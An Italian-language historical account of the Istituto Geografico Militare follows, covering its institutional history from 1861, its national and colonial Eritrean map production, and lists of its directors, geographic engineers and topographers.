L’Ufficio Tecnico rimase attivo a Torino, fino al 1865, quando, con il trasferimento temporaneo della capitale d’Italia a Firenze, unitamente a tutto l’apparato statale, anche le attività geotopocartografiche vennero trasferite in tale città, collocando gli uffici nei locali della ex Cavallerizza del granduca e di parte dell’ex Convento dei Servi di Maria, mentre il Ministero della Guerra trovò collocazione nella vicina piazza San Marco.
Tra gli eventi più significativi dei primi anni di vita dell’organismo cartografico nazionale va segnalata la costituzione del primo organo scientifico di coordinamento geodetico italiano, sorto in adesione al progetto del generale Johann Jacob Baeyer (Muggelseim 1794-Berlino 1885), con disposizione del Ministero della Pubblica Istruzione del 1865, per la partecipazione italiana ai lavori della Commissione internazionale per la misura dei gradi in Europa. In analogia con gli analoghi organismi europei, la prima denominazione ufficiale fu quella di Commissione italiana per la misurazione dei gradi ed un apposito dispaccio del Ministero della Pubblica Istruzione stabilì che il compito di tale Commissione sarebbe stato quello di “[…] tradurre in atto sul suolo italiano le convenzioni stabilite per la misura del grado europeo dalla conferenza internazionale riunitasi a Berlino” (Raccolta dei verbali, 1865-1894, p. 3). Dopo quindici anni di attività, il 3 febbraio 1880, venne poi approvato uno specifico regolamento, che introdusse tra l’altro la nuova denominazione di Commissione Geodetica Italiana e stabilì che la finalità dell’organismo era quella di “concorrere ai lavori di geodesia ed astronomia, che formano lo scopo della Commissione internazionale per la misura dei gradi in Europa” (Raccolta dei verbali, 1865-1894, p. 33).
Dopo undici anni dal primo riordino del settore geotopocartografico nazionale, con la promulgazione del regio decreto del 27 ottobre 1872, l’Ufficio Tecnico del Corpo di Stato Maggiore venne soppresso per dar vita, a partire dal 1° gennaio 1873, ad un organismo “separato” dallo stesso Corpo, con la denominazione di Istituto Topografico Militare (I.T.M.).
L’obiettivo principale di tale provvedimento di riforma fu quello di disimpegnare dall’Ufficio Tecnico il gran numero di ufficiali di stato maggiore impiegati nei primi anni del loro servizio per le attività di rilevamento nazionale, al fine di destinarli alla loro regolare occupazione militare, e far svolgere al solo personale tecnico civile i compiti di produzione geotopocartografica nazionale, “sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore” (Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare).
Dopo il decreto di costituzione dell’I.T.M., fecero seguito altre cinque disposizioni di legge che riguardarono l’Ente cartografico dello Stato, tra le quali è da menzionare la legge del 29 giugno 1882, che impiegò per la prima volta la denominazione di Istituto Geografico Militare (I.G.M.), contrariamente a quanto indicato dal Mori, che attribuì tale variazione al successivo decreto del 3 dicembre dello stesso anno (Mori, 1922, p. 170). La variazione da “topografico” a “geografico”, che si volle apporre alla nuova denominazione dell’Ente, potrebbe indurre a pensare che nelle intenzioni del legislatore ci fosse l’ampliamento dei compiti dello stesso organismo, con estensione degli stessi anche alla raccolta di tutta quella più ampia gamma di informazioni geografiche concorrenti alla migliore definizione delle caratteristiche fisiche, economiche e sociali dei possibili teatri di guerra, nella logica della reconnaissance (Memorial, 1829). Di fatto, però, non si verificarono sostanziali variazioni nell’ordinamento generale e nelle attività dell’Ente ed il provvedimento di ridenominazione si risolse nell’imitazione di una tendenza già in atto in Europa. Anche con tale ulteriore provvedimento si confermò la continuità con la precedente impostazione ispirata alle necessità della polemologia, dalla quale subì un forte condizionamento anche la stessa produzione cartografica, che risentì ovviamente delle preminenti esigenze militari, con deficienze ed esaltazioni funzionali al loro obiettivo primario, ma anche con forti limiti di contenuto informativo e di restituzione dell’immagine della campagna italiana del Novecento (Farinelli, 1978).
Per quanto attiene agli operatori, geodeti, topografi, cartografi, che operavano talvolta in condizioni di lavoro veramente estreme, l’Ente registrò fin dall’inizio della sua esistenza la presenza di personale tecnico civile e militare, con una di permanenza stabile dei primi, rispetto ai secondi, i quali erano invece sottoposti ad un frequente turn over per esigenze professionali. I segni della malagevolezza e del vero e proprio pericolo, nell’esecuzione di operazioni di rilevamento del territorio, si trovano evidenti proprio nella storia del personale tecnico dei primi decenni di vita dell’Ente, dalla quale emerge chiaramente la perdita di ben ottantatre tecnici, dei quali cinquantatre deceduti in servizio e trenta persi di forza per dimissioni o per trasferimento all’Amministrazione del Catasto. A queste gravi perdite, che segnarono negativamente le prime attività dell’Ente, se ne aggiunsero poi altre per abbandono del servizio da parte dei maggiori studiosi interni. Personaggi come Enrico Pucci, Nicodemo Jadanza, Giovanni De Bernardinis, Federico Guarducci ed Attilio Mori, abbandonarono l’I.G.M. per dedicarsi all’insegnamento universitario, passando rispettivamente nelle regie università di Roma, di Torino, di Napoli, di Bologna e di Messina (Mori, 1922).
Con il 1903, si chiudeva un periodo storico caratterizzato da forti fermenti e da grandi imprese, prima fra tutte l’ultimazione della monumentale Carta topografica d’Italia alla scala 1:100 000, che restituì, pur con i propri limiti, la prima immagine cartografica omogenea del territorio nazionale.
L’inizio del nuovo secolo più che registrare un ampliamento sostanziale nella direzione della Geografia militare, segnò una prima apertura dell’I.G.M. verso le più generali esigenze scientifiche ed amministrative del Paese, per poi ritornare poco dopo all’antico indirizzo, alla vigilia della Grande guerra, per ovvie esigenze di difesa nazionale.
Sempre nello stesso periodo, poi, per porre rimedio alle inesattezze della toponomastica riportata sulla Carta topografica d’Italia alla scala 1:100 000, su espressa richiesta del mondo accademico nazionale, venne istituita, con il Regio Decreto n. 218 del 5 marzo 1911, la “Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”, che provvide a correggere tutti i fogli prodotti a quel momento ed a definire apposite norme per le operazioni di raccolta e trascrizione di nomi.
Verso la fine del secondo conflitto mondiale, l’I.G.M. corse poi il rischio della totale perdita dell’intero patrimonio, quando negli anni compresi tra il 1943 ed il 1945 venne di forza trasferito a Dobbiaco-Toblach (BZ), col pericolo di divenire poi preda bellica dell’esercito tedesco in ritirata, minaccia quest’ultima scongiurata con la “liberazione” ed il successivo rientro a Firenze dei beni e del personale (Pruccoli e Rosani, 2003).
All’indomani del secondo conflitto mondiale, venne poi riconfermata la necessità dell’opera della Commissione toponomastica e disposta la sua nuova composizione, con la legge n. 605 dell’8 giugno 1949 “Composizione della Commissione permanente incaricata di dirigere il lavoro di revisione toponomastica della Carta d’Italia”.
In seguito, ripristinate le attività ordinarie nell’antica sede, i compiti dell’Istituto si concentrarono principalmente nel completamento della Carta topografica d’Italia alla scala 1:25000, che venne portata a compimento nel successivo ventennio, anche grazie al contributo finanziario erogato all’I.G.M. nell’ambito dell’European Recovery Program ed all’apporto produttivo dell’imprenditoria privata italiana.
Gli anni Sessanta segnarono poi il riconoscimento dell’Istituto quale principale “organo cartografico dello Stato”, con l’emanazione della legge n. 68 del 1960, e l’avvio della realizzazione di nuove serie cartografiche (Cantile, 2003 e 2004-b), mentre i successivi anni Settanta furono segnati da una serie di eventi non favorevoli, che videro in particolare la soppressione della Commissione Geodetica Italiana, dal 1o gennaio del 1978 (D.P.R. n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977), come “ente inutile”, nonostante il prezioso ruolo svolto e l’imprescindibilità delle sue funzioni. A ciò si aggiunse inoltre, con l’avvio della produzione della Cartografia Tecnica Regionale, un periodo di contrasti tra vari dipartimenti regionali per il territorio e l’I.G.M. e la prima “Conferenza nazionale sulla cartografia”, tenuta a Firenze dal 9 all’11 aprile del 1979, che pose in evidenza i notevoli ostacoli operativi derivanti da disposizioni e concezioni non al passo con i tempi e pose i primi interrogativi sull’opportunità di mantenere il servizio cartografico nazionale nell’ambito delle competenze della Forza armata (Quaini, 1979). Tutto ciò, unito ai ritardi che l’I.G.M. aveva accumulato in quegli anni nel campo produttivo, determinò una forte spinta critica nei confronti dell’Istituto (Salzano, 1982) che, unita alle difficoltà operative legate al rilascio del “nulla osta” relativo alla riservatezza (Spagna, 1989), sfociò nella richiesta, da parte dei settori cartografici regionali e di alcuni organismi politici, della costituzione di un Servizio cartografico nazionale, svincolato dalle competenze militari, e nell’elaborazione di diversi disegni di legge, tutti arenati nelle discussioni parlamentari (Ludovisi, Mauri e Torresani, 1994).
Verso la fine del secolo, mentre l’I.G.M. attuava la profonda trasformazione produttiva dall’analogico al digitale (Cantile, 2003), questa tendenza è stata notevolmente mitigata, sia per l’introduzione di norme semplificatrici dei procedimenti autorizzativi, sia per un rinnovato rapporto interistituzionale, fino ad inaugurare una nuova stagione di cooperazione e l’avvio di rapporti di collaborazione, iniziati nel 1996, con la stipula della “Intesa Stato, Regioni, Enti locali per i sistemi informativi territoriali” Intesa Strato-Regioni-Enti locali sui data base geografici di interesse generale (Presidenza del Consiglio dei Ministri, Conferenza permanente per i rapporti tra lo Stato, le Regioni e le Province autonome).
Oggi l’I.G.M. è posto alle dipendenza del Comando Logistico dell’Esercito e continua ad operare sia come organismo di supporto alla forza armata, per le esigenze militari, sia come organo cartografico dello Stato, per le necessità civili del Paese. I suoi compiti principali sono:
-l’impianto, l’aggiornamento e la manutenzione delle reti geodetiche;
-la produzione, l’aggiornamento e la cessione della cartografia ufficiale dello Stato e delle relative documentazione alla piccola e media scala;
-la copertura aerofotogrammetrica del territorio nazionale;
-l’esecuzione di lavori topografici per la manutenzione dei termini di confine, sulla base di appositi accordi internazionali;
-la costituzione e la gestione di banche dati geografici nazionali;
-l’effettuazione di interventi di natura geodetica, topografica e cartografica per il controllo del territorio in caso di pubbliche calamità e per attività di ricerca scientifica in collaborazione con altri enti;
-la conservazione, la tutela e la valorizzazione del ricco patrimonio cartografico, strumentale e librario, ereditato dagli enti cartografici preunitari ed alimentato da quasi un secolo e mezzo di attività istituzionale;
-la formazione professionale degli addetti e la diffusione della cultura geografica e cartografica, anche in collaborazione con le università ed i centri di ricerca nazionali, sulla base di specifici accordi.

Produzione cartografica

Produzione nazionale. Dal 1861, le tappe principali dell’Ente cartografico nazionale, pur con le varie denominazioni assunte nei primi anni di vita, furono segnate dai seguenti lavori:
-inquadramento geometrico del territorio del regno, con conseguente formazione della rete trigonometrica nazionale, condotto a termine tra il 1861 ed il 1919, e della rete di livellazione di precisione, realizzata tra il 1879 ed il 1900;
-esecuzione delle prime misure di astronomia geodetica tra il 1874 ed il 1910, riprese poi negli anni seguenti;
-avvio dei primi esperimenti di fotogrammetria terrestre, dal 1879;
-aggiornamento di alcuni, principali documenti cartografici preunitari, ritenuti strumenti ancora validi, sia per le attività operative, sia per le operazioni di derivazione cartografica e realizzazione di nuove carte alla scala corografica;
-allestimento della Carta topografica d’Italia alla scala 1:100 000, tra il 1878 ed il 1903;
-inizio dei lavori sistematici di rilevamento e di preparazione della Carta topografica d’Italia alla scala 1:25 000.
Oltre a tali principali realizzazioni, sono inoltre da segnalare tra le principali attività di produzione e di aggiornamento cartografico:
i Rilievi della valle della Dora Riparia, la Carta delle Alpi Retiche, Carniche e Giulie, la Carta delle Provincie Lombardo-Venete e degli ex Ducati, la Carta corografica dell’Italia Superiore e Media, la Carta dell’Italia Centrale, i Rilievi dei Dintorni di Orbetello, i Rilievi dei Dintorni di Ancona, la Carta generale del Piemonte estesa ora a Carta generale dell’Italia Settentrionale 1:250000, i Rilievi dei Dintorni di Verona 1:10000, i Rilievi dei Dintorni di Roma 1:25000, i Rilievi eseguiti dal Corpo di Stato Maggiore e dall’Istituto Topografico Militare nell’Italia Meridionale 1/50 000, la Carta delle Prov.ce di Napoli e Terra di Lavoro 1/80 000, la Carta d’Italia alla scala 1:800000, la Carta dell’Isola di Sicilia e delle 3 Calabrie in cromo alla scala 1:500000, la Carta dell’Isola di Sicilia in un solo foglio alla scala 1:500000, la Carta degli Stati Sardi alla scala 1:250000, la Carta delle Province Napoletane alla scala 1:250000, la Carta dell’Isola di Sardegna alla scala 1:250000, la Carta degli Stati Sardi alla scala 1:250000, la Carta della Provincia di Napoli e parte delle contigue di Caserta, Salerno e Benevento alla scala 1:80000, la Carta topografica delle Provincie meridionali, alla scala 1:50000, ed infine l’avvio della Carta topografica d’Italia alla scala 1:25000.

Tutta l’attività dell’Ente, dal 1861, è documentata nei fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico, che custodiscono anche molti documenti del periodo preunitario, manoscritti ed a stampa.
Unitamente a tali archivi, un’altra importante conservatoria dell’I.G.M. è costituita dalla Biblioteca “Attilio Mori”, che custodisce un gran numero di atti interni, di opere scientifiche, di carte e riviste, acquistate nel tempo od ottenute per donazione od ancora in virtù dei numerosi scambi internazionali con gli analoghi Enti degli altri Stati.

Produzione coloniale. Contemporaneamente alle attività sopra elencate, l’I.G.M. avviò anche vari lavori topocartografici nei territori coloniali. Risalgono al 1885, infatti, le prime carte topografiche dell’I.G.M. in Africa con i rilievi dei nuovi possedimenti di Massaua e di Assab. Ma fino al 1903 l’attività in colonia fu limitata ad alcuni rilievi privi d’inquadramento geodetico e a due missioni topocartografiche in Eritrea, non essendo stata ancora conquistata la gran parte dell’impero coloniale italiano.
La prima si svolse tra il 1887 ed il 1891 e portò alla realizzazione della Carta della colonia Eritrea alla scala 1:50.000 in proiezione di Cassini che copriva il territorio fra Massaua, Zula, Asmara e Cheren; ad essa parteciparono, in qualità di capi sezione, i capitani Giuseppe Lavallea, Antonio Bonoldi, Antonio Scotti e Giovanni Prelli.
La seconda venne realizzata tra il 1896 ed il 1902 e portò alla redazione della Carta topografica della Colonia Eritrea alla scala 1:100.000 che rappresentava l’area situata tra il confine sud della colonia, il mare, Cheren ed Agordat. Essa venne redatta a colori in proiezione policentrica e incorporò anche i fogli della precedente levata. A capo dei lavori topocartografici era stato inizialmente designato l’ingegnere geografo Giovanni Cloza che morì poco tempo dopo essere giunto in colonia (28 ottobre 1896). Egli fu sostituito prima dal capitano Luigi Manfren e poi dall’ingegner Federico Guarducci. Parteciparono alla missione l’ingegner Antonio Loperfido, il capitano Metello Gianni, il capitano Carlo Sargenti, il capitano Amadeo Ceruti, il capitano Attilio Thermes.
Una carta dimostrativa della colonia Eritrea, inizialmente prevista alla scala 1:250.00 e poi pubblicata alla scala 1:400.000, venne allestita nel 1902, pubblicata in nuova edizione nel 1909. Fu inizialmente progettata per rappresentare i territori compresi tra il 12° ed il 16° parallelo e tra il 36° meridiano ed il mare. Successivamente tale area venne allargata includendovi tutta la costa dancala, la baia di Assab, il golfo di Tagiura ed il sultanato dell’Aussa. Essa fu realizzata dal topografo Bruto Bonazzi e si trattò di un’opera puramente cartografica che utilizzò le informazioni topografiche, cartografiche e geodetiche disponibili all’epoca.

1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua e dintorni, Monkullo e Otumlo, Assab e dintorni, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1885-1888, tenente Lavallea G., topografo Ciorlieri G., Massaua-Saati, scala 1:25.000, fogli 2, Istituto Geografico Militare.
1885, tenente Lavallea G., Carta di Assab e dintorni, scala 1:10.000, Istituto Geografico Militare.
1888, capitano Lavallea G., topografo Ciorlieri G., Fortificazioni di Saati e Dogali, scala 1:10.000, fogli 2, Istituto Geografico Militare.
1890 (prima edizione), 1909 (seconda edizione), Carta della Colonia Eritrea, scala 1:50.000, Istituto Geografico Militare: F. C3: Ras Gablalo (rilievo del 1889, capo sezione cap. Lavallea), F. C4: Zula (rilievo del 1889-1890, capi sezioni Lavallea, Bonoldi, Prelli), F. D1: Emberèmi (rilievo del 1889, capo sezione Lavallea), F. D2: Massaua (rilievo del 1889, capo sezione Lavallea), F. D3: Ghedem (rilievo del 1889, capo sezione Lavallea), F. D4: Ua-à (rilievo del 1888-1890, capi sezione Lavallea, Bonoldi, Prelli), F. E1: Amba e Uachico (rilievo del 1889, capo sezione Lavallea), F. E2: Saati (rilievo del 1889, capo sezione Lavallea), F. E3: Agametta (rilievo del 1888-1890, capi sezione Lavallea, Prelli, Bonoldi), F. E4: Monte Urug (rilievo nel 1889-1890, capi sezione Bonoldi, Prelli), F. F1: Pozzi di Canfer (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F.2: Ailèt (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F3: Ghinda (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. F4: Monte Bizen (rilievo del 1889-1890, capi sezione Bonoldi, Prelli), F. G1 Laba: (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G2: Zaghèr (rilievo del 1889-1890, capi sezione Bonoldi, Prelli, Scotti), F. G3 Amba Derhò (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. G4 Asmara (rilievo del 1889-1891, capi sezione Bonoldi, Prelli, Scotti), F. H1 Gheleb (rilievo del 1891, capo sezione Scotti), F. H2: Ad Teclesan (rilievo del 1891, capo sezione Scotti), F. H3 Adi Iohannes (rilievo del 1891, capo sezione Scotti), F. H4 Himbertì (rilievo del 1891, capo sezione Scotti), F. I1 Cheren (rilievo del 1891, capo sezione Scotti), F. I2 Valle Gulà (rilievo del 1891, capo sezione Scotti), F. J1: Giangheren (rilievo del 1891, capo sezione Scotti), F. J2: Sciotel (rilievo del 1894, capo sezione G. Severi).
1909, Carta topografica della Colonia Eritrea, scala 1:100.000, Istituto Geografico Militare, F. 1659: Valle del Giaghe (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1660: Mai Adartè (rilievo del 1899-1900, capo sezione: Sargenti), F. 1661: Cheren (rilievo del 1891, capi sezione: Scotti, Severi), F. 1662: Gheleb (rilievi del 1889-1901, capi sezione: Bonoldi, Prelli, Scotti), F. 1663: Pozzi di Canfer (rilievi del 1889-1990), F.1664: Emberemì (rilievo del 1889), F. 1750: Agordat (rilievo del 1901, capo sezione: Ceruti), F. 1760: Dega (rilievo del 1897, capi sezione: Sargenti, Ceruti), F. 1761: Molazenai (rilievo del 1899-1900, capo sezione: Sargenti), F. 1762: Asmara (rilievo del 1889-1900-1901), F. 1763: Ghinda (rilievo del 1888-1889-1900), F. 1764: Massaua (rilievo del 1888-1889), F. 1765: Gruta (rilievo del 1901-1902, capi sezione Thermes), F. 1859: Suzenà (rilievo del 1907, capo sezione: Cap. Ceruti), F. 1860: Ferfer (rilievo del 1900-1901, capi sezione: Sargenti, Ceruti), F. 1861: Mai Albò (rilievo del 1899-1900, capo sezione: Sargenti), F. 1862: Debaroà (rilievo del 1897-1901, capi sezione: Gianni, Sargenti), F. 1863: Saganeiti (rilievo del 1897, capo sezione: Cap. Gianni), F. 1864: Afta (rilievo del 1897-1898, capi sezione: Cap. Gianni, Cap. Manfren), F. 1865: Zula (rilievo del 1901-1902, capo sezione: Cap. Thermes), F. 1866: Harèna (rilievo del 1901-1902, capo sezione: Cap Thermes), F. 1959: Tolè (rilievo del 1901, capo sezione: Cap. Ceruti), F. 1960: Tucul (rilievo del 1898, capo sezione: Manfren), F. 1961: Arresa (rilievo del 1898, capo sezione: Manfren), F. 1962: Adi Ugrì (rilievo del 1891-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1963: Digsa (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1964: Addi Caiè (rilievo del 1897-1898, capi sezione: cap. Gianni e cap. Manfren), F. 1965: Buia (rilievo del 1901-1902, capo sezione: Thermes), F. 1966: Samoti (rilievo del 1901-1902, capo sezione: Thermes), F. 2060-2061: Cohain (rilievo del 1898, capo sezione: Manfren), F.2062: Adi Qualà (rilievo del 1898, capo sezione: Manfren), F.2063: Loggò Sardà (rilievo del 1898, capo sezione: Manfren), F. 2064: Barachìt (rilievo del 1898, capo sezione: Manfren), F. 2065: Endèli (rilievo del 1901-1902, capo sezione: Thermes).

Operatori

In occasione del primo cinquantenario della costituzione dell’I.G.M., fu effettuata una ricognizione sistematica della situazione matricolare di tutti i dipendenti tecnici dell’Istituto, che produsse, accanto agli esistenti elenchi dei Direttori, due nuovi elenchi di personale, distinti in ingegneri geografi e topografi per il loro inserimento nel volume celebrativo dell’evento (Mori, 1922). Tali elenchi, oltre a non registrare la presenza di un nutrito gruppo di dipendenti tecnici civili, impiegati nelle mansioni di disegno, incisione, coloritura, stampa, ecc, e del personale amministrativo, non segnalano neppure la presenza dei tecnici militari, se non quando gli stessi hanno anche coperto il ruolo di Direttori dell’Istituto, perché le attenzioni del Mori si concentrarono specificamente sui principali profili tecnici, trascurando il personale militare probabilmente in ragione del loro limitato periodo di permanenza presso l’Ente.
Direttori dell’I.T.M. e dell’I.G.M., secondo l’ordine di successione:
Ten. Gen. Ezio De Vecchi, Senatore del Regno, già Capo dell’Ufficio Tecnico del R. Corpo di Stato Maggiore, Direttore dell’I.T.M. dalla sua fondazione al 1° maggio 1877;
Ten. Gen. Cav. Emerigo Mayo, già Capo dell’Ufficio Tecnico del Corpo di Stato Maggiore, Direttore dell’I.T.M. col grado di maggior generale dal maggio 1877 al febbraio 1882;
Magg. Gen. Cav. Giovanni Baulina, Direttore dell’I.G.M. dal 26 febbraio 1882 al 15 aprile 1883;
Col. Brig. Cav. Carlo Gené, Direttore dell’I.G.M. dall’8 maggio 1883 al 6 ottobre 1885;
Ten. Gen. Annibale Ferrero, Senatore del Regno, già addetto alla Divisione Geodetica dal 1873 al 1875, Capo della stessa Divisione dal 20 dicembre 1875 al 22 marzo 1878, Direttore in 2a dal 23 marzo 1878 al 18 giugno 1883, Direttore dell’I.G.M. dal 14 ottobre 1885 al 30 novembre 1893;
Magg. Gen. Cav. Agostino Rosselli, già Direttore in 2a dell’Istituto dal marzo 1887 all’aprile 1890, Direttore dell’I.G.M. dal dicembre 1893 all’agosto 1894;
Ten. Gen. Cav. Biagio De Benedictis, Direttore dell’I.G.M. dall’ottobre 1894 al dicembre 1897.
Ten. Gen. Cav. Giuseppe Ettore Viganò, Senatore del Regno, già Direttore in 2a dell’Istituto dall’aprile 1891 al dicembre 1893, Direttore dell’I.G.M. dal dicembre 1897 al febbraio 1902;
Ten. Gen. Comm. Onorato Moni, già addetto alla Divisione Geodetica dal gennaio 1880 all’aprile 1884, Direttore in 2a dell’Istituto dall’ottobre 1895 al dicembre 1898, Direttore dell’I.G.M. dal gennaio 1902 al giugno 1905;
Ten. Gen. Comm. Cammillo Crema, Direttore dell’I.G.M. dal giugno 1905 al febbraio 1908;
Ten. Gen. Comm. Ernesto Gliamas, già Capo della Divisione Fototecnica dal 13 gennaio 1898 al 2 febbraio 1905, Direttore in 2a dal 2 febbraio 1905 al 10 luglio 1906, Direttore dell’I.G.M. dal 2 febbraio 1908 all’8 novembre 1914 e dal 10 maggio 1915 al 31 marzo 1919;
Magg. Gen. Cav. Alberto Cavaciocchi, Direttore dell’I.G.M. dall’8 novembre 1914 al 10 maggio 1915;
Gen. Brig. Cav. Nicola Vacchelli, già addetto alla Direzione dell’Istituto e Capo dell’Ufficio Ordinamento Lavori dal 1906 al 1914, Direttore dell’I.G.M. dal 1° aprile 1919, fondatore e primo direttore della rivista L’Universo, Commissario e poi Presidente della Società Geografica Italiana.

Ingegneri geografi, secondo la data di entrata in servizio:
1856 – Schiavoni prof. comm. Federico, già professore di geodesia nel R. Officio Topografico di Napoli, Ingegnere geografo Capo e professore di geodesia nella R. Università di Napoli, collocato a riposo nel 1879;
1865 – Cavalieri cav. Luigi, collocato a riposo nel 1878;
1865 – Lucci cav. Vincenzo, collocato a riposo nel 1878,
1865 – Corbara cav. Carlo, collocato a riposo nel 1878;
1865 – Arabia cav. Luigi, collocato a riposo nel 1879;
1868 – D’Atri comm. Niccola, trasferito nell’Amministrazione del Catasto 1887;
1868. De Vita cav. Gaetano, collocato a riposo nel 1879;
1872 – Garbolino cav. Francesco, trasferito nell’Amministrazione del Catasto e nominato Direttore Compartimentale 1887;
1873 – Cloza cav. Giovanni, Ingegnere geografo deceduto sul lavoro a Ghinda (Colonia Eritrea) 1896;
1875 – Pucci cav. Enrico, lascia il servizio nel 1880 perché nominato professore di Geodesia Teoretica nella R. Università di Roma;
1875 – Jadanza cav. Nicodemo, lascia il servizio nel 1881 perché nominato professore di Geodesia Teoretica nella R. Università di Torino;
1878 – Grechi cav. Raffaello, collocato a riposo nel 1918;
1879 – De Bernardinis cav. Giovanni, lascia il servizio nel 1887 perché nominato professore di Geodesia teoretica nella R. Università di Napoli;
1879 – Paganini comm. Pio, Capo della Divisione Trigonometrica, collocato a riposo nel 1910;
1879 – Domeniconi Francesco, morto in servizio nell’esecuzione dei lavori sul Monte Canin (Friuli) 1884;
1879 – Guarducci cav. Federico. Capo dell’Ufficio Geodetico, lascia il servizio nel 1903 perché nominato professore di Geodesia Teoretica nella R. Università di Bologna;
1879 – Ginevri cav. Arnaldo, Capo della Divisione Trigonometrica, morto in servizio nel 1918;
1880 – Mansueti Gherardo, morto in servizio nell’esecuzione dei lavori in Val di Livigno 1883;
1883 – Derchi cav. Francesco, Capo della Divisione Geodetica, collocato a riposo nel 1901;
1885 – Mariani cav. prof. Getulio, Capo dell’Ufficio Meccanico, collocato a riposo nel 1910;
1886 – Vitale cav. Lazzero, collocato a riposo nel 1905;
1888 – Loperfido comm. prof. Antonio, Geodeta Capo, Capo dell’Ufficio Geodetico;
1889 – Busoni Italo, dimissionario 1913;
1896 – Andreini dott. Angelo;

Topografi, secondo la data di entrata in servizio:
1855 – Del Giudice Leopoldo, collocato a riposo nel 1874;
1856 – Barone cav. Giuseppe, collocato a riposo nel 1875;
1856 – Pagano cav. Cesare, collocato a riposo nel 1890;
1856 – Lombardi cav. Tommaso, morto in servizio nel 1887;
1857 – Tascone cav. Vincenzo, collocato a riposo nel 1892;
1857 – Raucci Luigi, collocato a riposo nel 1880;
1857 – Cosentino cav. Nicola, morto in servizio nel 1881;
1858 – Stromei cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1891;
1859 – Nacciarone Antonio, collocato a riposo nel 1881;
1859 – Pacileo cav. Nunzio, collocato a riposo nel 1878;
1860 – Rivotti Giovanni, morto in servizio nel 1887;
1860 – Macari cav. Giovanni, collocato a riposo nel 1893;
1860 – Cantalupo Nicomede, morto in servizio nel 1875;
1860 – Bonatti cav. Giuseppe, collocato a riposo nel 1889;
1860 – Taricco Giacomo, morto in servizio nel 1878;
1860 – Modotti cav. Enrico, morto in servizio nel 1879;
1860 – Lissant cav. Francesco, collocato a riposo nel 1882;
1860 – Colao comm. Bruno, Capo della Divisione Artistica, collocato a riposo nel 1882;
1860 – Galante cav. Gerolamo, collocato a riposo nel 1882;
1860 – Vastola cav. Raffaele, collocato a riposo nel 1879;
1860 – Anfosso cav. Angelo, collocato a riposo nel 1876;
1860 – Pugnani cav. Enrico, morto in servizio nel 1879;
1860 – Rostagno cav. Giuseppe, collocato a riposo nel 1876;
1860 – Modotti cav. Edoardo, collocato a riposo nel 1887;
1861 – Ferrero cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1892;
1861 – Rimini cav. Giovanni, collocato a riposo nel 1895;
1861 – Bidelli cav. Vittorio, morto in servizio nel 1895;
1861 – Migliaccio cav. Federico, collocato a riposo nel 1899;
1861 – Amaretti Giuseppe, collocato a riposo nel 1874;
1862 – Granchi cav. Ulisse, Capo Catasto della Divisione Fototecnica, collocato a riposo nel 1890;
1862 – Minutolo cav. Pietro, collocato a riposo nel 1892;
1863 – Barelli cav. Carlo, Capo della Divisione Artistica, collocato a riposo nel 1900;
1863 – Bonatti cav. Enrico, morto in servizio nel 1896;
1869 – Martinelli Giuseppe, collocato a riposo nel 1874;
1869 – Trombetti cav. Pompilio, collocato a riposo nel 1894;
1870 – Mercandino Felice, collocato a riposo nel 1888;
1872 – Falangola Angelo, morto in servizio nel 1879;
1872 – Cattaneo Giuseppe, collocato a riposo nel 1875;
1872 – Alberto cav. Francesco, collocato a riposo nel 1891;
1872 – Alsona cav. Giovanni, morto in servizio nel 1895;
1872 – Satta cav. Giovanni, trasferito nell’Amministrazione del Catasto 1888;
1872 – Vassio cav. Luigi, collocato a riposo nel 1905;
1872 – De Notaris cav. Gaetano, collocato a riposo nel 1905;
1872 – Marchegiani comm. Giuseppe, Capo della Divisione Artistica, collocato a riposo nel 1906;
1872 – Bonnevie cav. Ferdinando, collocato a riposo nel 1903;
1872 – Juglaris cav. Giuseppe, morto in servizio nel 1900;
1872 – Torta Secondo, morto in servizio nel 1875;
1872 – Celsa Baldassare;
1872 – Caratelli Giorgio, collocato a riposo nel 1887;
1872 – Giunipero cav. Vittorio, trasferito al Catasto nel 1889;
1873 – Paternoster cav. Antonio, collocato a riposo nel 1899;
1873 – Grà cav. Luigi, trasferito nell’Amministrazione del Catasto 1888;
1873 – Tacchini cav. Angelo, collocato a riposo nel 1910;
1873 – Monticelli Fedele, morto in servizio nel 1887;
1873 – Buscaglione cav. Ernesto, Capo dell’Ufficio di Revisione, morto in servizio nel 1919;
1873 – De Roberto cav. Roberto, collocato a riposo nel 1907;
1873 – Rimbotti cav. Vittorio, dimissionario nel 1877;
1873 – Ciorlieri cav. Gerardo, collocato a riposo nel 1907;
1873 – Carrozza cav. Antonio, collocato a riposo nel 1907;
1873 – Bianchi Attilio, collocato a riposo nel 1905;
1873 – Alessio cav. Ireneo, collocato a riposo nel 1895;
1873 – Manfredi cav. Carlo, trasferito nell’Amministrazione del Catasto nel 1889;
1873 – Parrinello Diego, morto in servizio nel 1879;
1873 – Marchisio cav. Luigi, collocato a riposo nel 1900;
1873 – Santopadre Salvatore, morto in servizio nel 1889;
1873 – Porta cav. Clemente, collocato a riposo nel 1901;
1873 – D’Aste cav. Giovanni, collocato a riposo nel 1896;
1874 – Moretti cav. Paolo, collocato a riposo nel 1883;
1874 – Marzano cav. Gennaro, collocato a riposo nel 1892;
1874 – De Giudice cav. Francesco, collocato a riposo nel 1899;
1874 – Giacometti Antonio, collocato a riposo nel 1876;
1874 – Leonardi cav. Enrico, collocato a riposo nel 1920;
